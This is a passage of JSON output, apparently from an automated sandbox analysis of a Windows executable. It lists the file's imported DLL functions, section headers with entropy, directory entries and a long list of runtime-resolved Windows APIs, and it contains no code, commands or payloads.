                    },
                    {
                        "name": "lstrlenA",
                        "address": "0x407098"
                    },
                    {
                        "name": "GetVersion",
                        "address": "0x40709c"
                    },
                    {
                        "name": "SetErrorMode",
                        "address": "0x4070a0"
                    },
                    {
                        "name": "lstrcpynA",
                        "address": "0x4070a4"
                    },
                    {
                        "name": "GetDiskFreeSpaceA",
                        "address": "0x4070a8"
                    },
                    {
                        "name": "GlobalUnlock",
                        "address": "0x4070ac"
                    },
                    {
                        "name": "GetWindowsDirectoryA",
                        "address": "0x4070b0"
                    },
                    {
                        "name": "SetCurrentDirectoryA",
                        "address": "0x4070b4"
                    },
                    {
                        "name": "GetLastError",
                        "address": "0x4070b8"
                    },
                    {
                        "name": "CreateDirectoryA",
                        "address": "0x4070bc"
                    },
                    {
                        "name": "CreateProcessA",
                        "address": "0x4070c0"
                    },
                    {
                        "name": "RemoveDirectoryA",
                        "address": "0x4070c4"
                    },
                    {
                        "name": "CreateFileA",
                        "address": "0x4070c8"
                    },
                    {
                        "name": "GetTempFileNameA",
                        "address": "0x4070cc"
                    },
                    {
                        "name": "ReadFile",
                        "address": "0x4070d0"
                    },
                    {
                        "name": "WriteFile",
                        "address": "0x4070d4"
                    },
                    {
                        "name": "lstrcpyA",
                        "address": "0x4070d8"
                    },
                    {
                        "name": "MoveFileExA",
                        "address": "0x4070dc"
                    },
                    {
                        "name": "lstrcatA",
                        "address": "0x4070e0"
                    },
                    {
                        "name": "GetSystemDirectoryA",
                        "address": "0x4070e4"
                    },
                    {
                        "name": "GetProcAddress",
                        "address": "0x4070e8"
                    },
                    {
                        "name": "GetExitCodeProcess",
                        "address": "0x4070ec"
                    },
                    {
                        "name": "WaitForSingleObject",
                        "address": "0x4070f0"
                    },
                    {
                        "name": "CompareFileTime",
                        "address": "0x4070f4"
                    },
                    {
                        "name": "SetFileAttributesA",
                        "address": "0x4070f8"
                    },
                    {
                        "name": "GetFileAttributesA",
                        "address": "0x4070fc"
                    },
                    {
                        "name": "GetShortPathNameA",
                        "address": "0x407100"
                    },
                    {
                        "name": "MoveFileA",
                        "address": "0x407104"
                    },
                    {
                        "name": "GetFullPathNameA",
                        "address": "0x407108"
                    },
                    {
                        "name": "SetFileTime",
                        "address": "0x40710c"
                    },
                    {
                        "name": "SearchPathA",
                        "address": "0x407110"
                    },
                    {
                        "name": "CloseHandle",
                        "address": "0x407114"
                    },
                    {
                        "name": "lstrcmpiA",
                        "address": "0x407118"
                    },
                    {
                        "name": "CreateThread",
                        "address": "0x40711c"
                    },
                    {
                        "name": "GlobalLock",
                        "address": "0x407120"
                    },
                    {
                        "name": "lstrcmpA",
                        "address": "0x407124"
                    },
                    {
                        "name": "FindFirstFileA",
                        "address": "0x407128"
                    },
                    {
                        "name": "FindNextFileA",
                        "address": "0x40712c"
                    },
                    {
                        "name": "DeleteFileA",
                        "address": "0x407130"
                    },
                    {
                        "name": "SetFilePointer",
                        "address": "0x407134"
                    },
                    {
                        "name": "GetPrivateProfileStringA",
                        "address": "0x407138"
                    },
                    {
                        "name": "FindClose",
                        "address": "0x40713c"
                    },
                    {
                        "name": "MultiByteToWideChar",
                        "address": "0x407140"
                    },
                    {
                        "name": "FreeLibrary",
                        "address": "0x407144"
                    },
                    {
                        "name": "MulDiv",
                        "address": "0x407148"
                    },
                    {
                        "name": "WritePrivateProfileStringA",
                        "address": "0x40714c"
                    },
                    {
                        "name": "LoadLibraryExA",
                        "address": "0x407150"
                    },
                    {
                        "name": "GetModuleHandleA",
                        "address": "0x407154"
                    },
                    {
                        "name": "GlobalAlloc",
                        "address": "0x407158"
                    },
                    {
                        "name": "GlobalFree",
                        "address": "0x40715c"
                    },
                    {
                        "name": "ExpandEnvironmentStringsA",
                        "address": "0x407160"
                    }
                ],
                "dll": "KERNEL32.dll"
            },
            {
                "imports": [
                    {
                        "name": "ScreenToClient",
                        "address": "0x407184"
                    },
                    {
                        "name": "GetSystemMenu",
                        "address": "0x407188"
                    },
                    {
                        "name": "SetClassLongA",
                        "address": "0x40718c"
                    },
                    {
                        "name": "IsWindowEnabled",
                        "address": "0x407190"
                    },
                    {
                        "name": "SetWindowPos",
                        "address": "0x407194"
                    },
                    {
                        "name": "GetSysColor",
                        "address": "0x407198"
                    },
                    {
                        "name": "GetWindowLongA",
                        "address": "0x40719c"
                    },
                    {
                        "name": "SetCursor",
                        "address": "0x4071a0"
                    },
                    {
                        "name": "LoadCursorA",
                        "address": "0x4071a4"
                    },
                    {
                        "name": "CheckDlgButton",
                        "address": "0x4071a8"
                    },
                    {
                        "name": "GetMessagePos",
                        "address": "0x4071ac"
                    },
                    {
                        "name": "LoadBitmapA",
                        "address": "0x4071b0"
                    },
                    {
                        "name": "CallWindowProcA",
                        "address": "0x4071b4"
                    },
                    {
                        "name": "IsWindowVisible",
                        "address": "0x4071b8"
                    },
                    {
                        "name": "CloseClipboard",
                        "address": "0x4071bc"
                    },
                    {
                        "name": "SetClipboardData",
                        "address": "0x4071c0"
                    },
                    {
                        "name": "EmptyClipboard",
                        "address": "0x4071c4"
                    },
                    {
                        "name": "PostQuitMessage",
                        "address": "0x4071c8"
                    },
                    {
                        "name": "GetWindowRect",
                        "address": "0x4071cc"
                    },
                    {
                        "name": "EnableMenuItem",
                        "address": "0x4071d0"
                    },
                    {
                        "name": "CreatePopupMenu",
                        "address": "0x4071d4"
                    },
                    {
                        "name": "GetSystemMetrics",
                        "address": "0x4071d8"
                    },
                    {
                        "name": "SetDlgItemTextA",
                        "address": "0x4071dc"
                    },
                    {
                        "name": "GetDlgItemTextA",
                        "address": "0x4071e0"
                    },
                    {
                        "name": "MessageBoxIndirectA",
                        "address": "0x4071e4"
                    },
                    {
                        "name": "CharPrevA",
                        "address": "0x4071e8"
                    },
                    {
                        "name": "DispatchMessageA",
                        "address": "0x4071ec"
                    },
                    {
                        "name": "PeekMessageA",
                        "address": "0x4071f0"
                    },
                    {
                        "name": "ReleaseDC",
                        "address": "0x4071f4"
                    },
                    {
                        "name": "EnableWindow",
                        "address": "0x4071f8"
                    },
                    {
                        "name": "InvalidateRect",
                        "address": "0x4071fc"
                    },
                    {
                        "name": "SendMessageA",
                        "address": "0x407200"
                    },
                    {
                        "name": "DefWindowProcA",
                        "address": "0x407204"
                    },
                    {
                        "name": "BeginPaint",
                        "address": "0x407208"
                    },
                    {
                        "name": "GetClientRect",
                        "address": "0x40720c"
                    },
                    {
                        "name": "FillRect",
                        "address": "0x407210"
                    },
                    {
                        "name": "DrawTextA",
                        "address": "0x407214"
                    },
                    {
                        "name": "EndDialog",
                        "address": "0x407218"
                    },
                    {
                        "name": "RegisterClassA",
                        "address": "0x40721c"
                    },
                    {
                        "name": "SystemParametersInfoA",
                        "address": "0x407220"
                    },
                    {
                        "name": "CreateWindowExA",
                        "address": "0x407224"
                    },
                    {
                        "name": "GetClassInfoA",
                        "address": "0x407228"
                    },
                    {
                        "name": "DialogBoxParamA",
                        "address": "0x40722c"
                    },
                    {
                        "name": "CharNextA",
                        "address": "0x407230"
                    },
                    {
                        "name": "ExitWindowsEx",
                        "address": "0x407234"
                    },
                    {
                        "name": "GetDC",
                        "address": "0x407238"
                    },
                    {
                        "name": "CreateDialogParamA",
                        "address": "0x40723c"
                    },
                    {
                        "name": "SetTimer",
                        "address": "0x407240"
                    },
                    {
                        "name": "GetDlgItem",
                        "address": "0x407244"
                    },
                    {
                        "name": "SetWindowLongA",
                        "address": "0x407248"
                    },
                    {
                        "name": "SetForegroundWindow",
                        "address": "0x40724c"
                    },
                    {
                        "name": "LoadImageA",
                        "address": "0x407250"
                    },
                    {
                        "name": "IsWindow",
                        "address": "0x407254"
                    },
                    {
                        "name": "SendMessageTimeoutA",
                        "address": "0x407258"
                    },
                    {
                        "name": "FindWindowExA",
                        "address": "0x40725c"
                    },
                    {
                        "name": "OpenClipboard",
                        "address": "0x407260"
                    },
                    {
                        "name": "TrackPopupMenu",
                        "address": "0x407264"
                    },
                    {
                        "name": "AppendMenuA",
                        "address": "0x407268"
                    },
                    {
                        "name": "EndPaint",
                        "address": "0x40726c"
                    },
                    {
                        "name": "DestroyWindow",
                        "address": "0x407270"
                    },
                    {
                        "name": "wsprintfA",
                        "address": "0x407274"
                    },
                    {
                        "name": "ShowWindow",
                        "address": "0x407278"
                    },
                    {
                        "name": "SetWindowTextA",
                        "address": "0x40727c"
                    }
                ],
                "dll": "USER32.dll"
            },
            {
                "imports": [
                    {
                        "name": "SelectObject",
                        "address": "0x40704c"
                    },
                    {
                        "name": "SetBkMode",
                        "address": "0x407050"
                    },
                    {
                        "name": "CreateFontIndirectA",
                        "address": "0x407054"
                    },
                    {
                        "name": "SetTextColor",
                        "address": "0x407058"
                    },
                    {
                        "name": "DeleteObject",
                        "address": "0x40705c"
                    },
                    {
                        "name": "GetDeviceCaps",
                        "address": "0x407060"
                    },
                    {
                        "name": "CreateBrushIndirect",
                        "address": "0x407064"
                    },
                    {
                        "name": "SetBkColor",
                        "address": "0x407068"
                    }
                ],
                "dll": "GDI32.dll"
            },
            {
                "imports": [
                    {
                        "name": "SHGetSpecialFolderLocation",
                        "address": "0x407168"
                    },
                    {
                        "name": "ShellExecuteExA",
                        "address": "0x40716c"
                    },
                    {
                        "name": "SHGetPathFromIDListA",
                        "address": "0x407170"
                    },
                    {
                        "name": "SHBrowseForFolderA",
                        "address": "0x407174"
                    },
                    {
                        "name": "SHGetFileInfoA",
                        "address": "0x407178"
                    },
                    {
                        "name": "SHFileOperationA",
                        "address": "0x40717c"
                    }
                ],
                "dll": "SHELL32.dll"
            },
            {
                "imports": [
                    {
                        "name": "AdjustTokenPrivileges",
                        "address": "0x407000"
                    },
                    {
                        "name": "RegCreateKeyExA",
                        "address": "0x407004"
                    },
                    {
                        "name": "RegOpenKeyExA",
                        "address": "0x407008"
                    },
                    {
                        "name": "SetFileSecurityA",
                        "address": "0x40700c"
                    },
                    {
                        "name": "OpenProcessToken",
                        "address": "0x407010"
                    },
                    {
                        "name": "LookupPrivilegeValueA",
                        "address": "0x407014"
                    },
                    {
                        "name": "RegEnumValueA",
                        "address": "0x407018"
                    },
                    {
                        "name": "RegDeleteKeyA",
                        "address": "0x40701c"
                    },
                    {
                        "name": "RegDeleteValueA",
                        "address": "0x407020"
                    },
                    {
                        "name": "RegCloseKey",
                        "address": "0x407024"
                    },
                    {
                        "name": "RegSetValueExA",
                        "address": "0x407028"
                    },
                    {
                        "name": "RegQueryValueExA",
                        "address": "0x40702c"
                    },
                    {
                        "name": "RegEnumKeyA",
                        "address": "0x407030"
                    }
                ],
                "dll": "ADVAPI32.dll"
            },
            {
                "imports": [
                    {
                        "name": "ImageList_Create",
                        "address": "0x407038"
                    },
                    {
                        "name": "ImageList_AddMasked",
                        "address": "0x40703c"
                    },
                    {
                        "name": "ImageList_Destroy",
                        "address": "0x407040"
                    },
                    {
                        "name": null,
                        "address": "0x407044"
                    }
                ],
                "dll": "COMCTL32.dll"
            },
            {
                "imports": [
                    {
                        "name": "OleUninitialize",
                        "address": "0x407284"
                    },
                    {
                        "name": "OleInitialize",
                        "address": "0x407288"
                    },
                    {
                        "name": "CoTaskMemFree",
                        "address": "0x40728c"
                    },
                    {
                        "name": "CoCreateInstance",
                        "address": "0x407290"
                    }
                ],
                "dll": "ole32.dll"
            }
        ],
        "digital_signers": null,
        "exported_dll_name": null,
        "actual_checksum": "0x00246b66",
        "overlay": {
            "size": "0x0021fce8",
            "offset": "0x00019000"
        },
        "imagebase": "0x00400000",
        "reported_checksum": "0x00246b66",
        "icon_hash": null,
        "entrypoint": "0x004031d6",
        "timestamp": "2018-12-15 22:24:22",
        "osversion": "4.0",
        "sections": [
            {
                "name": ".text",
                "characteristics": "IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ",
                "virtual_address": "0x00001000",
                "size_of_data": "0x00006000",
                "entropy": "6.45",
                "raw_address": "0x00000400",
                "virtual_size": "0x00005f0d",
                "characteristics_raw": "0x60000020"
            },
            {
                "name": ".rdata",
                "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ",
                "virtual_address": "0x00007000",
                "size_of_data": "0x00001400",
                "entropy": "5.00",
                "raw_address": "0x00006400",
                "virtual_size": "0x00001250",
                "characteristics_raw": "0x40000040"
            },
            {
                "name": ".data",
                "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE",
                "virtual_address": "0x00009000",
                "size_of_data": "0x00000400",
                "entropy": "5.13",
                "raw_address": "0x00007800",
                "virtual_size": "0x0001a818",
                "characteristics_raw": "0xc0000040"
            },
            {
                "name": ".ndata",
                "characteristics": "IMAGE_SCN_CNT_UNINITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE",
                "virtual_address": "0x00024000",
                "size_of_data": "0x00000000",
                "entropy": "0.00",
                "raw_address": "0x00000000",
                "virtual_size": "0x00009000",
                "characteristics_raw": "0xc0000080"
            },
            {
                "name": ".rsrc",
                "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ",
                "virtual_address": "0x0002d000",
                "size_of_data": "0x00011400",
                "entropy": "1.13",
                "raw_address": "0x00007c00",
                "virtual_size": "0x000112a0",
                "characteristics_raw": "0x40000040"
            }
        ],
        "resources": [],
        "dirents": [
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_EXPORT",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00007430",
                "name": "IMAGE_DIRECTORY_ENTRY_IMPORT",
                "size": "0x000000a0"
            },
            {
                "virtual_address": "0x0002d000",
                "name": "IMAGE_DIRECTORY_ENTRY_RESOURCE",
                "size": "0x000112a0"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_EXCEPTION",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00237918",
                "name": "IMAGE_DIRECTORY_ENTRY_SECURITY",
                "size": "0x000013d0"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_BASERELOC",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_DEBUG",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_COPYRIGHT",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_GLOBALPTR",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_TLS",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00007000",
                "name": "IMAGE_DIRECTORY_ENTRY_IAT",
                "size": "0x00000298"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_RESERVED",
                "size": "0x00000000"
            }
        ],
        "exports": [],
        "guest_signers": {},
        "imphash": "3abe302b6d9a1256e6a915429af4ffd2",
        "icon_fuzzy": null,
        "icon": null,
        "pdbpath": null,
        "imported_dll_count": 7,
        "versioninfo": []
    }
}

[*] Resolved APIs: [
    "version.dll.GetFileVersionInfoA",
    "shfolder.dll.SHGetFolderPathA",
    "shlwapi.dll.#437",
    "cryptbase.dll.SystemFunction036",
    "uxtheme.dll.ThemeInitApiHook",
    "user32.dll.IsProcessDPIAware",
    "setupapi.dll.CM_Get_Device_Interface_List_Size_ExW",
    "setupapi.dll.CM_Get_Device_Interface_List_ExW",
    "comctl32.dll.#386",
    "kernel32.dll.GetUserDefaultUILanguage",
    "shell32.dll.#680",
    "system.dll.Call",
    "kernel32.dll.GetCurrentProcess",
    "kernel32.dll.IsWow64Process",
    "system.dll.Int64Op",
    "kernel32.dll.SetEnvironmentVariableA",
    "kernel32.dll.Wow64EnableWow64FsRedirection",
    "ole32.dll.CoRevokeInitializeSpy",
    "comctl32.dll.#388",
    "ole32.dll.NdrOleInitializeExtension",
    "ole32.dll.CoGetClassObject",
    "ole32.dll.CoGetMarshalSizeMax",
    "ole32.dll.CoMarshalInterface",
    "ole32.dll.CoUnmarshalInterface",
    "ole32.dll.StringFromIID",
    "ole32.dll.CoGetPSClsid",
    "ole32.dll.CoTaskMemAlloc",
    "ole32.dll.CoTaskMemFree",
    "ole32.dll.CoCreateInstance",
    "ole32.dll.CoReleaseMarshalData",
    "ole32.dll.DcomChannelSetHResult",
    "oleaut32.dll.#500",
    "advapi32.dll.UnregisterTraceGuids",
    "comctl32.dll.#321",
    "kernel32.dll.SetThreadUILanguage",
    "kernel32.dll.CopyFileExW",
    "kernel32.dll.IsDebuggerPresent",
    "kernel32.dll.SetConsoleInputExeNameW",
    "kernel32.dll.SortGetHandle",
    "kernel32.dll.SortCloseHandle",
    "sechost.dll.LookupAccountNameLocalW",
    "advapi32.dll.LookupAccountSidW",
    "sechost.dll.LookupAccountSidLocalW",
    "kernel32.dll.HeapSetInformation",
    "sxs.dll.SxsOleAut32MapConfiguredClsidToReferenceClsid",
    "dwmapi.dll.DwmIsCompositionEnabled",
    "advapi32.dll.SaferIdentifyLevel",
    "advapi32.dll.SaferComputeTokenFromLevel",
    "advapi32.dll.SaferCloseLevel",
    "ole32.dll.CLSIDFromProgIDEx",
    "wscript.exe.#1",
    "sxs.dll.SxsOleAut32RedirectTypeLibrary",
    "advapi32.dll.RegOpenKeyW",
    "advapi32.dll.RegQueryValueW",
    "shell32.dll.ShellExecuteExW",
    "ole32.dll.OleInitialize",
    "ole32.dll.CreateBindCtx",
    "propsys.dll.PSCreateMemoryPropertyStore",
    "propsys.dll.PSPropertyBag_WriteDWORD",
    "ole32.dll.CoGetApartmentType",
    "ole32.dll.CoRegisterInitializeSpy",
    "comctl32.dll.#236",
    "oleaut32.dll.#6",
    "ole32.dll.CoGetMalloc",
    "propsys.dll.PSPropertyBag_ReadDWORD",
    "propsys.dll.PSPropertyBag_ReadGUID",
    "comctl32.dll.#320",
    "comctl32.dll.#324",
    "comctl32.dll.#323",
    "advapi32.dll.RegEnumKeyW",
    "advapi32.dll.OpenThreadToken",
    "ole32.dll.StringFromGUID2",
    "apphelp.dll.ApphelpCheckShellObject",
    "urlmon.dll.CreateUri",
    "kernel32.dll.InitializeSRWLock",
    "kernel32.dll.AcquireSRWLockExclusive",
    "kernel32.dll.AcquireSRWLockShared",
    "kernel32.dll.ReleaseSRWLockExclusive",
    "kernel32.dll.ReleaseSRWLockShared",
    "comctl32.dll.#328",
    "comctl32.dll.#334",
    "oleaut32.dll.#2",
    "shell32.dll.#102",
    "propsys.dll.PSPropertyBag_ReadStrAlloc",
    "ole32.dll.CoInitializeEx",
    "comctl32.dll.#332",
    "advapi32.dll.InitializeSecurityDescriptor",
    "advapi32.dll.SetEntriesInAclW",
    "ntmarta.dll.GetMartaExtensionInterface",
    "advapi32.dll.SetSecurityDescriptorDacl",
    "advapi32.dll.IsTextUnicode",
    "comctl32.dll.#338",
    "ole32.dll.CoUninitialize",
    "sechost.dll.ConvertSidToStringSidW",
    "profapi.dll.#104",
    "propsys.dll.#430",
    "advapi32.dll.RegOpenKeyExW",
    "advapi32.dll.RegGetValueW",
    "advapi32.dll.RegCloseKey",
    "ole32.dll.CoTaskMemRealloc",
    "propsys.dll.InitPropVariantFromStringAsVector",
    "propsys.dll.PSCoerceToCanonicalValue",
    "propsys.dll.PropVariantToStringAlloc",
    "ole32.dll.PropVariantClear",
    "ole32.dll.CoAllowSetForegroundWindow",
    "shell32.dll.SHGetFolderPathW",
    "advapi32.dll.SaferGetPolicyInformation",
    "ntdll.dll.RtlDllShutdownInProgress",
    "comctl32.dll.#329",
    "ole32.dll.OleUninitialize",
    "shell32.dll.#66",
    "comctl32.dll.#339",
    "comctl32.dll.#385",
    "comctl32.dll.#336",
    "linkinfo.dll.IsValidLinkInfo",
    "propsys.dll.#417",
    "propsys.dll.PSGetNameFromPropertyKey",
    "propsys.dll.PSStringFromPropertyKey",
    "propsys.dll.InitVariantFromBuffer",
    "oleaut32.dll.#9",
    "propsys.dll.PropVariantToGUID",
    "comctl32.dll.#333",
    "linkinfo.dll.CreateLinkInfoW",
    "user32.dll.IsCharAlphaW",
    "user32.dll.CharPrevW",
    "ntshrui.dll.GetNetResourceFromLocalPathW",
    "srvcli.dll.NetShareEnum",
    "cscapi.dll.CscNetApiGetInterface",
    "slc.dll.SLGetWindowsInformationDWORD",
    "shlwapi.dll.PathRemoveFileSpecW",
    "linkinfo.dll.DestroyLinkInfo",
    "propsys.dll.PropVariantToBoolean",
    "cryptsp.dll.CryptAcquireContextW",
    "cryptsp.dll.CryptGenRandom",
    "cryptsp.dll.CryptReleaseContext",
    "advapi32.dll.GetSecurityInfo",
    "advapi32.dll.SetSecurityInfo",
    "advapi32.dll.GetSecurityDescriptorControl",
    "advapi32.dll.RegQueryInfoKeyW",
    "advapi32.dll.RegEnumKeyExW",
    "advapi32.dll.RegEnumValueW",
    "advapi32.dll.RegQueryValueExW",
    "shlwapi.dll.UrlIsW",
    "kernel32.dll.InitializeCriticalSectionAndSpinCount",
    "msvcrt.dll._set_error_mode",
    "msvcrt.dll.?set_terminate@@YAP6AXXZP6AXXZ@Z",
    "kernel32.dll.FindActCtxSectionStringW",
    "kernel32.dll.GetSystemWindowsDirectoryW",
    "mscoree.dll.GetProcessExecutableHeap",
    "mscorwks.dll.DllGetClassObjectInternal",
    "mscorwks.dll.GetCLRFunction",
    "advapi32.dll.RegisterTraceGuidsW",
    "advapi32.dll.GetTraceLoggerHandle",
    "advapi32.dll.GetTraceEnableLevel",
    "advapi32.dll.GetTraceEnableFlags",
    "advapi32.dll.TraceEvent",
    "mscoree.dll.IEE",
    "mscorwks.dll.IEE",
    "mscoree.dll.GetStartupFlags",
    "mscoree.dll.GetHostConfigurationFile",
    "mscoree.dll.GetCORSystemDirectory",
    "ntdll.dll.RtlVirtualUnwind",
    "advapi32.dll.AllocateAndInitializeSid",
    "advapi32.dll.OpenProcessToken",
    "advapi32.dll.GetTokenInformation",
    "advapi32.dll.InitializeAcl",
    "advapi32.dll.AddAccessAllowedAce",
    "advapi32.dll.FreeSid",
    "kernel32.dll.SetThreadStackGuarantee",
    "kernel32.dll.FlsSetValue",
    "kernel32.dll.FlsGetValue",
    "kernel32.dll.FlsAlloc",
    "kernel32.dll.FlsFree",
    "kernel32.dll.AddVectoredContinueHandler",
    "kernel32.dll.RemoveVectoredContinueHandler",
    "advapi32.dll.ConvertSidToStringSidW",
    "kernel32.dll.FlushProcessWriteBuffers",
    "kernel32.dll.GetWriteWatch",
    "kernel32.dll.ResetWriteWatch",
    "kernel32.dll.CreateMemoryResourceNotification",
    "kernel32.dll.QueryMemoryResourceNotification",
    "kernel32.dll.GlobalMemoryStatusEx",
    "ole32.dll.CoGetContextToken",
    "oleaut32.dll.#149",
    "kernel32.dll.GetVersionExW",
    "kernel32.dll.GetFullPathNameW",
    "kernel32.dll.SetErrorMode",
    "kernel32.dll.GetFileAttributesExW",
    "version.dll.GetFileVersionInfoSizeW",
    "version.dll.GetFileVersionInfoW",
    "version.dll.VerQueryValueW",
    "kernel32.dll.lstrlen",
    "kernel32.dll.lstrlenW",
    "mscoree.dll.ND_RI2",
    "kernel32.dll.lstrcpy",
    "kernel32.dll.lstrcpyW",
    "version.dll.VerLanguageNameW",
    "kernel32.dll.CloseHandle",
    "kernel32.dll.GetCurrentProcessId",
    "advapi32.dll.LookupPrivilegeValueW",
    "advapi32.dll.AdjustTokenPrivileges",
    "kernel32.dll.OpenProcess",
    "psapi.dll.EnumProcessModules",
    "psapi.dll.GetModuleInformation",
    "psapi.dll.GetModuleBaseNameW",
    "psapi.dll.GetModuleFileNameExW",
    "kernel32.dll.GetExitCodeProcess",
    "ntdll.dll.NtQuerySystemInformation",
    "user32.dll.EnumWindows",
    "user32.dll.GetWindowThreadProcessId",
    "kernel32.dll.WerSetFlags",
    "kernel32.dll.SetThreadPreferredUILanguages",
    "kernel32.dll.GetThreadPreferredUILanguages",
    "kernel32.dll.GetUserDefaultLocaleName",
    "kernel32.dll.GetEnvironmentVariableW",
    "advapi32.dll.CryptAcquireContextA",
    "advapi32.dll.CryptReleaseContext",
    "advapi32.dll.CryptCreateHash",
    "advapi32.dll.CryptDestroyHash",
    "advapi32.dll.CryptHashData",
    "advapi32.dll.CryptGetHashParam",
    "advapi32.dll.CryptImportKey",
    "advapi32.dll.CryptExportKey",
    "advapi32.dll.CryptGenKey",
    "advapi32.dll.CryptGetKeyParam",
    "advapi32.dll.CryptDestroyKey",
    "advapi32.dll.CryptVerifySignatureA",
    "advapi32.dll.CryptSignHashA",
    "advapi32.dll.CryptGetProvParam",
    "advapi32.dll.CryptGetUserKey",
    "advapi32.dll.CryptEnumProvidersA",
    "cryptsp.dll.CryptImportKey",
    "cryptsp.dll.CryptHashData",
    "cryptsp.dll.CryptGetHashParam",
    "cryptsp.dll.CryptDestroyHash",
    "cryptsp.dll.CryptDestroyKey",
    "mscoree.dll.GetTokenForVTableEntry",
    "mscoree.dll.SetTargetForVTableEntry",
    "mscoree.dll.GetTargetForVTableEntry",
    "culture.dll.ConvertLangIdToCultureName",
    "ole32.dll.CoCreateGuid",
    "kernel32.dll.CreateFileW",
    "kernel32.dll.GetConsoleScreenBufferInfo",
    "kernel32.dll.LocalFree",
    "kernel32.dll.LocalAlloc",
    "mscoree.dll.ND_RI4",
    "advapi32.dll.DuplicateTokenEx",
    "advapi32.dll.CheckTokenMembership",
    "kernel32.dll.GetConsoleTitleW",
    "mscorjit.dll.getJit",
    "kernel32.dll.SetConsoleTitleW",
    "kernel32.dll.SetConsoleCtrlHandler",
    "kernel32.dll.SetEnvironmentVariableW",
    "kernel32.dll.CreateEventW",
    "ntdll.dll.WinSqmIsOptedIn",
    "kernel32.dll.ExpandEnvironmentStringsW",
    "shfolder.dll.SHGetFolderPathW",
    "kernel32.dll.GetACP",
    "kernel32.dll.UnmapViewOfFile",
    "kernel32.dll.GetFileType",
    "kernel32.dll.ReadFile",
    "kernel32.dll.GetSystemInfo",
    "kernel32.dll.VirtualQuery",
    "secur32.dll.GetUserNameExW",
    "advapi32.dll.GetUserNameW",
    "kernel32.dll.ReleaseMutex",
    "advapi32.dll.RegisterEventSourceW",
    "advapi32.dll.DeregisterEventSource",
    "advapi32.dll.ReportEventW",
    "kernel32.dll.GetLogicalDrives",
    "kernel32.dll.GetDriveTypeW",
    "kernel32.dll.GetVolumeInformationW",
    "kernel32.dll.GetCurrentDirectoryW",
    "kernel32.dll.GetLastError",
    "kernel32.dll.GetStdHandle",
    "kernel32.dll.GetConsoleMode",
    "kernel32.dll.SetEvent",
    "ole32.dll.CoGetObjectContext",
    "rpcrtremote.dll.I_RpcExtInitializeExtensionPoint",
    "kernel32.dll.LoadLibraryA",
    "kernel32.dll.GetProcAddress",
    "wminet_utils.dll.ResetSecurity",
    "wminet_utils.dll.SetSecurity",
    "wminet_utils.dll.BlessIWbemServices",
    "wminet_utils.dll.BlessIWbemServicesObject",
    "wminet_utils.dll.GetPropertyHandle",
    "wminet_utils.dll.WritePropertyValue",
    "wminet_utils.dll.Clone",
    "wminet_utils.dll.VerifyClientKey",
    "wminet_utils.dll.GetQualifierSet",
    "wminet_utils.dll.Get",
    "wminet_utils.dll.Put",
    "wminet_utils.dll.Delete",
    "wminet_utils.dll.GetNames",
    "wminet_utils.dll.BeginEnumeration",
    "wminet_utils.dll.Next",
    "wminet_utils.dll.EndEnumeration",
    "wminet_utils.dll.GetPropertyQualifierSet",
    "wminet_utils.dll.GetObjectText",
    "wminet_utils.dll.SpawnDerivedClass",
    "wminet_utils.dll.SpawnInstance",
    "wminet_utils.dll.CompareTo",
    "wminet_utils.dll.GetPropertyOrigin",
    "wminet_utils.dll.InheritsFrom",
    "wminet_utils.dll.GetMethod",
    "wminet_utils.dll.PutMethod",
    "wminet_utils.dll.DeleteMethod",
    "wminet_utils.dll.BeginMethodEnumeration",
    "wminet_utils.dll.NextMethod",
    "wminet_utils.dll.EndMethodEnumeration",
    "wminet_utils.dll.GetMethodQualifierSet",
    "wminet_utils.dll.GetMethodOrigin",
    "wminet_utils.dll.QualifierSet_Get",
    "wminet_utils.dll.QualifierSet_Put",
    "wminet_utils.dll.QualifierSet_Delete",
    "wminet_utils.dll.QualifierSet_GetNames",
    "wminet_utils.dll.QualifierSet_BeginEnumeration",
    "wminet_utils.dll.QualifierSet_Next",
    "wminet_utils.dll.QualifierSet_EndEnumeration",
    "wminet_utils.dll.GetCurrentApartmentType",
    "wminet_utils.dll.GetDemultiplexedStub",
    "wminet_utils.dll.CreateInstanceEnumWmi",
    "wminet_utils.dll.CreateClassEnumWmi",
    "wminet_utils.dll.ExecQueryWmi",
    "wminet_utils.dll.ExecNotificationQueryWmi",
    "wminet_utils.dll.PutInstanceWmi",
    "wminet_utils.dll.PutClassWmi",
    "wminet_utils.dll.CloneEnumWbemClassObject",
    "wminet_utils.dll.ConnectServerWmi",
    "ole32.dll.IIDFromString",
    "ole32.dll.CoCreateFreeThreadedMarshaler",
    "oleaut32.dll.SysAllocStringLen",
